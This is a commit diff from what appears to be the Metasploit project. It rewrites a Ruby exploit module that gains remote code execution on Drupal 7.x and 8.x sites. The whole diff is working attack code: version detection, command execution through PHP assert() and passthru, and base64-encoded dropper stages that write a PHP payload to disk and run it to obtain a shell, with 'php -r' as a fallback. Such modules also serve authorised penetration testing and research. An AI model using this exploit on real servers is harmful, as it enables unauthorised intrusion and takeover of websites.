Rewrite PHP targets to work with 7.x and 8.x

Win some, lose some. php -r spawns a new (obvious) command. :/

Check method and version detection also rewritten. :)
GSoC/Meterpreter_Web_Console
William Vu 2018-04-24 00:02:15 -05:00
parent 8be58d315c
commit c8b6482ab0
1 changed files with 139 additions and 58 deletions

View File

@ -8,7 +8,8 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
def initialize(info = {})
@ -43,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' => {'BadChars' => '&'},
'Payload' => {'BadChars' => '&>\''},
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
'Targets' => [
#
@ -120,21 +121,39 @@ class MetasploitModule < Msf::Exploit::Remote
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [false, 'Writable dir for dropped binaries'])
])
end
def check
token = random_crap
checkcode = CheckCode::Safe
res = execute_command(token, func: 'printf')
if res && res.body.include?(token)
return CheckCode::Vulnerable
if drupal_version
print_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
print_error('Could not configure Drupal version')
return CheckCode::Unknown
end
CheckCode::Safe
token = random_crap
res = execute_command(token, func: 'printf')
if res && res.body.start_with?(token)
checkcode = CheckCode::Vulnerable
end
checkcode
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
@ -143,69 +162,129 @@ class MetasploitModule < Msf::Exploit::Remote
case target.name
when /PHP In-Memory/
case @version.to_s
when '7.x'
# In-process execution when assert() is enabled
execute_command(payload.encoded, func: 'assert')
when /PHP Dropper/
tmpfile = random_crap
encoded = Rex::Text.encode_base64("<?php #{payload.encoded}; ?>")
stage1 = %Q{
file_put_contents("#{tmpfile}", base64_decode("#{encoded}"));
}
stage2 = %Q{
include_once("#{tmpfile}");
}
register_file_for_cleanup(tmpfile)
execute_command(stage1.strip, func: 'assert')
execute_command(stage2.strip, func: 'assert')
when '8.x'
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
end
when /Unix In-Memory/
execute_command(payload.encoded)
when /Linux Dropper/
execute_cmdstager
when /PHP Dropper/, /Linux Dropper/
case @version.to_s
when '7.x'
execute_dropper7
when '8.x'
execute_dropper8
end
end
end
# XXX: Ivars are being preserved
def cleanup
begin
remove_instance_variable(:@version)
rescue NameError
end
super
end
def execute_dropper7
php_file = "#{random_crap}.php"
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# Stage 1 decodes the PHP and writes it to disk
stage1 = %Q{
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
}
# Stage 2 executes said PHP in-process
stage2 = %Q{
include_once("#{php_file}");
}
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Hopefully pop our shell with assert()
execute_command(stage1.strip, func: 'assert')
execute_command(stage2.strip, func: 'assert')
end
def execute_dropper8
php_file = "#{random_crap}.php"
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Write the payload or dropper to disk (!)
# NOTE: Analysis indicates > is a badchar for 8.x
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
# Attempt in-process execution of our PHP script
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_file)
)
return if session_created?
# Last-ditch effort to get a shell with PHP CLI
execute_command("php #{php_file}")
end
def execute_command(cmd, opts = {})
# TODO: passthru() may be disabled, so try others
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
@version ||=
if target['Version']
target['Version'].to_s
else
detect_version.to_s
end
return if @version.empty?
unless @version_printed
print_good("Drupal #{@version} detected at #{full_uri}")
@version_printed = true
end
vprint_status("Executing with #{func}(): #{cmd}")
print_status("Executing with #{func}(): #{cmd}")
res =
case @version
case @version.to_s
when '7.x'
exploit_drupal7(func, cmd)
when '8.x'
exploit_drupal8(func, cmd)
end
unless res && res.code == 200 || session_created?
if res && res.code != 200
print_error("Unexpected reply: #{res.inspect}")
return
end
print_line(res.body) if datastore['DUMP_OUTPUT']
if res && datastore['DUMP_OUTPUT']
print_line(res.body)
end
res
end
def detect_version
def drupal_version
if target['Version']
@version = target['Version']
return @version
end
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path
@ -213,11 +292,12 @@ class MetasploitModule < Msf::Exploit::Remote
return unless res && res.code == 200
@version =
case res.headers['X-Generator']
when /Drupal 7/
return Gem::Version.new('7.x')
Gem::Version.new('7.x')
when /Drupal 8/
return Gem::Version.new('8.x')
Gem::Version.new('8.x')
end
generator = res.get_html_document.at(
@ -226,6 +306,7 @@ class MetasploitModule < Msf::Exploit::Remote
return unless generator
@version =
case generator.value
when /Drupal 7/
Gem::Version.new('7.x')